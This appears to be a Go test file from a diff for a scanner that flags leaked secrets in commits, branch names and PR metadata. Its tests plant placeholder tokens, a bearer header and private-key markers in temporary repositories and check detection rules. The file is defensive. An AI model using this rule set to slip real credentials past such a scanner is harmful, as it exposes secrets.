runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "has space.md"), "SECRET_TOKEN=space-value\n")
writeFile(t, filepath.Join(repo, `weird"quote.md`), "SECRET_TOKEN=quote-value\n")
runGit(t, repo, "mv", "docs/old.md", "docs/new name.md")
writeFile(t, filepath.Join(repo, "docs", "new name.md"), "base\nSECRET_TOKEN=rename-value\n")
runGit(t, repo, "add", ".")
runGit(t, repo, "commit", "-m", "add special paths")
got := collectFromPreviousCommit(t, repo)
requireFinding(t, got, "docs/has space.md", "public_content_generic_credential")
requireFinding(t, got, `weird"quote.md`, "public_content_generic_credential")
requireFinding(t, got, "docs/new name.md", "public_content_generic_credential")
}
func TestCollectScansBranchNameAsWarning(t *testing.T) {
repo := t.TempDir()
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{"branch":"bot/public-doc-update"}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
if len(got) != 1 || got[0].Rule != "public_content_automation_branch" {
t.Fatalf("branch findings = %#v", got)
}
}
func TestCollectUsesExplicitBranchNameWhenDetached(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "README.md"), "base\n")
runGit(t, repo, "add", "README.md")
runGit(t, repo, "commit", "-m", "base")
runGit(t, repo, "checkout", "-b", "bot/public-doc-update")
writeFile(t, filepath.Join(repo, "docs.md"), "safe docs\n")
runGit(t, repo, "add", "docs.md")
runGit(t, repo, "commit", "-m", "docs")
head := strings.TrimSpace(string(runGitOutput(t, repo, "rev-parse", "HEAD")))
runGit(t, repo, "checkout", "--detach", head)
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
MetadataPath: metadataPath,
BranchName: "bot/public-doc-update",
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
requireFinding(t, got, "branch", "public_content_automation_branch")
}
func TestCollectUsesBranchEnvironmentWhenDetached(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "README.md"), "base\n")
runGit(t, repo, "add", "README.md")
runGit(t, repo, "commit", "-m", "base")
runGit(t, repo, "checkout", "-b", "bot/public-env-update")
writeFile(t, filepath.Join(repo, "docs.md"), "safe docs\n")
runGit(t, repo, "add", "docs.md")
runGit(t, repo, "commit", "-m", "docs")
head := strings.TrimSpace(string(runGitOutput(t, repo, "rev-parse", "HEAD")))
runGit(t, repo, "checkout", "--detach", head)
t.Setenv("GITHUB_HEAD_REF", "bot/public-env-update")
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
requireFinding(t, got, "branch", "public_content_automation_branch")
}
func TestCollectPreservesFindingAttributionForChangedLines(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "auth.md"), "intro\n")
runGit(t, repo, "add", "docs/auth.md")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "auth.md"), "intro\nAuthorization: Bearer abcdefghijklmnopqrstuvwxyz\n")
runGit(t, repo, "add", "docs/auth.md")
runGit(t, repo, "commit", "-m", "add auth docs")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.Rule == "public_content_bearer_header" {
if item.File != "docs/auth.md" || item.Line != 2 || item.Source != "file" {
t.Fatalf("changed-line attribution = %#v", item)
}
return
}
}
t.Fatalf("missing bearer finding: %#v", got)
}
func TestAppendUniqueFindingsDeduplicatesByRuleFileLineAndSource(t *testing.T) {
base := []Finding{newFinding("public_content_private_key_block", "docs/key.pem", 1, "file", "private key block")}
got := appendUniqueFindings(base,
newFinding("public_content_private_key_block", "docs/key.pem", 1, "file", "private key block"),
newFinding("public_content_private_key_block", "docs/key.pem", 2, "file", "private key block"),
)
if len(got) != 2 {
t.Fatalf("appendUniqueFindings len = %d, want 2: %#v", len(got), got)
}
}
func newGitRepo(t *testing.T) string {
t.Helper()
repo := t.TempDir()
runGit(t, repo, "init")
runGit(t, repo, "config", "user.email", "test@example.com")
runGit(t, repo, "config", "user.name", "Test User")
return repo
}
func privateKeyBegin() string {
return privateKeyBeginPrefix + privateKeyMarker + "\n"
}
func privateKeyEnd() string {
return privateKeyEndPrefix + privateKeyMarker + "\n"
}
func collectFromPreviousCommit(t *testing.T, repo string) []Finding {
t.Helper()
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
ChangedFrom: "HEAD~1",
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
return got
}
func requireFinding(t *testing.T, got []Finding, file, rule string) {
t.Helper()
for _, item := range got {
if item.File == file && item.Rule == rule {
return
}
}
t.Fatalf("missing %s in %s findings: %#v", rule, file, got)
}
func TestCollectRequiresValidMetadataJSON(t *testing.T) {
repo := t.TempDir()
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{"title":`)
_, err := Collect(context.Background(), Options{Repo: repo, MetadataPath: metadataPath})
if err == nil || !strings.Contains(err.Error(), "public content metadata") {
t.Fatalf("Collect() error = %v, want metadata parse error", err)
}
}
func runGit(t *testing.T, repo string, args ...string) {
t.Helper()
if len(args) > 0 && args[0] == "commit" {
args = append([]string{"commit", "--no-verify"}, args[1:]...)
}
cmd := exec.Command("git", args...)
cmd.Dir = repo
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("git %v failed: %v\n%s", args, err, out)
}
}
func runGitOutput(t *testing.T, repo string, args ...string) []byte {
t.Helper()
cmd := exec.Command("git", args...)
cmd.Dir = repo
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("git %v failed: %v\n%s", args, err, out)
}
return out
}
func writeFile(t *testing.T, path, data string) {
t.Helper()
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, []byte(data), 0o644); err != nil {
t.Fatal(err)
}
}

View File

@@ -0,0 +1,11 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package publiccontent
func ScanComment(kind, body string) []Finding {
if kind == "" {
kind = "comment"
}
return scanText(kind, "comment", body, false)
}

Some files were not shown because too many files have changed in this diff Show More